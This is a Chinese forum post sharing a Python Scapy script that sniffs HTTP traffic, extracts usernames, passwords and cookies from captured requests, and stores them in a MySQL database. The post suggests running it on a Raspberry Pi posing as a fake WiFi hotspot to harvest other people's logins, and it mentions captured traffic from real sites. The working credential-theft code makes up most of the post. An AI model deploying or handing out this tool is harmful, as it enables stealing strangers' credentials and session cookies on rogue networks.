Python Scapy实现自动HTTP流量分析嗅探

使用python Scapy实现，可帮助大家了解一下Scapy的基本使用方式

http_analyser.py是用Python Scapy实现的HTTP流量嗅探分析小工具,程序基于嗅探而非代理抓取http流量，可自动提取流量中的账号密码和HTTP Header信息

依赖: scapy scapy-http

玩儿树莓派的同学可以放在树莓派上伪造WIFI实现自动抓取账号密码


测试截图：
抓到的京东网站流量


抓到的某网站登陆账号

[Python] 纯文本查看 复制代码

#!/user/bin/env python
#-*- coding: utf-8 -*-
#author=dlive
#http packet analyser

try:
        from scapy.all import *
except ImportError:
        print "[-]not install scapy"

try:
        #from scapy.layers import http
        import scapy_http.http
except ImportError:
        print "[-]sudo pip install scapy-http"

import re
import MySQLdb

username_list = ['user','username','ddddd','barcode','id']

passwd_list = ['passwd','password','pwd','upass']

def http_packet_callback(packet):
        """
                packet anaylser
        """
        #http 
        if packet[TCP].payload:
                #HTTP data
                http_packet = str(packet[TCP].payload)
                
                #GET/POST HTTP Request
                http_method = http_packet.split('\r\n')[0]

                if http_method =='GET':
                        header=dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", http_packet[len('GET\r\n'):]))
                elif http_method == 'POST':
                        header=dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", http_packet[len('POST\r\n'):]))
                else:
                        return

                #Print http_packet info
                print "[+]IP:%s"%packet[IP].src
                print "[+]Method:%s"%http_method
                print "[+]Host:%s"%header['Host']
                print "[+]Path:%s"%header['Path']

                #Some packets donnot have Cookie
                if 'Cookie' in header.keys():
                        print "[+]Cookie:%s"%header['Cookie']
                else:
                        header['Cookie'] = ''

                #POST method may contains username and passwd
                #header['Data'] is the Sensitive Data of users
                username=''
                passwd=''
                if http_method == 'POST':
                        print "[+]POST_Data:%s"%http_packet.split('\r\n')[-1]
                        header['Data'] = http_packet.split('\r\n')[-1]

                        param = dict(re.findall(r"(?P<name>.*?)=(?P<value>.*?)&",header['Data']+'&'))
                        print param

                        for key in param:
                                if key.lower() in username_list:
                                        username = param[key]
                                elif key.lower() in passwd_list:
                                        passwd = param[key]
                        print "[+]username may be:%s"%username
                        print "[+]passwd may be:%s"%passwd
                #In most cases GET method does not contains username and passwd                
                elif http_method == 'GET':
                        header['Data'] = ''
                        
                if header['Cookie']!='':
                        #save data into database
                        save_data(str(packet[IP].src),header['Cookie'],header['Data'],header['Host'],header['Path'],username,passwd)

                print ""

def save_data(ip,cookie,data,host,path,username,passwd):
        """
                save data into mysql database
        """
        try:
                conn = MySQLdb.connect(host="localhost",user="root",passwd="",db="sheep_wall",port=3306)
                cur = conn.cursor()
                sql = 'insert into http(ip,cookie,data,host,path,username,passwd) values (%s,%s,%s,%s,%s,%s,%s)'
                n = cur.execute(sql,(ip,cookie,data,host,path,username,passwd))
                if n != 1:
                        raise MySQLdb.Error(-1,'My insert error')
                #close pointer object
                cur.close()
                conn.commit()
                #close connect object
                conn.close()
        except MySQLdb.Error,e:
                print "[-]MySQLdb Error %d: %s"%(e.args[0],e.args[1])
                
def main():
        filter = "tcp port 80 or tcp port 8080 "
        while 1:
            try:
                print "[+]Start sniffer..."
                packets = sniff(filter=filter,prn=http_packet_callback,iface='eth0',store=0)
            except Exception,e:
                print "[-]Sniffer error "+str(e)
        #wrpcap('data_packet.pcap',packets)

if __name__ == '__main__':
        main()

http_analyser.py

M4X 发表于 2015-12-14 13:35
http_analyser.py

单词居然拼错了，暴漏了英语渣

我测试的时候好像不能抓。